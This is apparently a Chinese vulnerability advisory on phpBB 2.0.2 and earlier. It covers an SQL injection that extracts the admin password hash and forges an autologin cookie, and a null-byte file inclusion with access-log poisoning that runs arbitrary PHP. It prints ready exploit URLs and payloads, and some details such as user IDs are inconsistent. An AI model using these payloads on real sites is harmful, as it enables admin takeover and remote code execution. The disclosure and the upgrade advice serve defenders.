phpBB 2.02.01 2.02 描述: phpBB存在多个安全缺陷 详细: phpBB是一款在网上非常流行的开放源代码的电子公告牌软件。phpBB存在一个可远程开发的SQL注入缺陷,能允许攻击者窃取系统管理员的密码信息,导致攻击者能以系统管理员的权限登录并控制目标系统。攻击者利用该缺陷进行截听,通过在page_header.php文件上精心构造一个查询信息,将返回在线用户的某些信息,比如密码信息。如果攻击者试图窃取一个用户ID为“40”的密码,将提供如下请求:http://site/phpBB/index.php?forum_id=1+or+user_id=40+and+mid (user_password11)=char(97)/* 这个查询结果将返回如下信息:SELECT u.username u.user_id u.user_allow_viewonline u.user_level s.session_logged_in s.session_ip FROM phpbb_users u phpbb_sessions s WHERE u.user_id = s.session_user_id AND s.session_time >= 1035778374 AND s.session_page = 1 or user_id=40 and mid(user_password11)=char(97)/* ORDER BY u.username ASC s.session_ip ASC 只要攻击者猜测出正确密码的四分之三,管理员的用户名将在在线用户列表的会话页面中显示出来。在密码确定以后,将被存放在cookie中,并允许访问站点。因此,如果用户ID为:32360,密码为:6a204bd89f3c8348afd5c77c717a097a,攻击者能获得如下信息:a:2: {s:11:"autologinid";s:32:"6a204bd89f3c8348afd5c77c717a097a";s:6:"userid";s: 5:"31360";} www.phpbb.com/ 1536 1063947136 29596959 197425936 29523534 * 利用urlencode()函数进行处理,并使用变量名“phpbb2support_data”将其放置在cookie中,将允许攻击者访问任何PHPBB站点的管理界面。 PHPBB存在一个可远程使用的文件处理缺陷,导致攻击者在系统上执行任意PHP代码。它包括位于auth.php的如下代码:include('language/lang_'.$default_lang.'.'.$phpEx); 上述代码用来除去用户数据中的所有斜线,因此不泄露任何用户输入的NULL字节。攻击者提供一个NULL字节,并且在NULL字节后的任何字节都将不被当成文件名来进行处理。因为PHP解析程序读取文件名时,将在遇到第一个NULL字节后停止。在特殊情况下,用户可能在系统上装载任何文件到解析程序中,并用PHP来执行。例如,如果用户选择数值的语言将使用下列代码:/../../../var/logs/apache/access.log%00' 通过保存一个帐户,登录,并调用下列URL,能使用这个缺陷:http://localhost/phpBB/prefs.php?HTTP_POST_VARS[save] =1&passwd=asdfasdf&viewemail=0&savecookie=0&sig=0&smile=0&dishtml=0&disbbco de=0&themes=1&lang=/../../../var/logs/apache/access.log% 00&save=1&user=admin&submit=Save%20Preferences 攻击者通过调用下列URL能在目标服务器上执行任意代码:http://sitename.com/phpbb/index.php<?phpinfo();?> 由于PHP命令保存在apache access.log文件中,并通过include()函数执行,因此,允许攻击者在任何目标机器上执行任意PHP代码。 攻击方法: 示例代码1::http://site/phpBB/index.php?forum_id=1+or+user_id=40+and+mid (user_password11)=char(97)/* 示例代码2::http://localhost/phpBB/prefs.php?HTTP_POST_VARS[save] =1&passwd=asdfasdf&viewemail=0&savecookie=0&sig=0&smile=0&dishtml=0&disbbco de=0&themes=1&lang=/../../../var/logs/apache/access.log% 00&save=1&user=admin&submit=Save%20Preferences 解决方案: phpBB 2.03版修正了上述缺陷,请用户及时更新。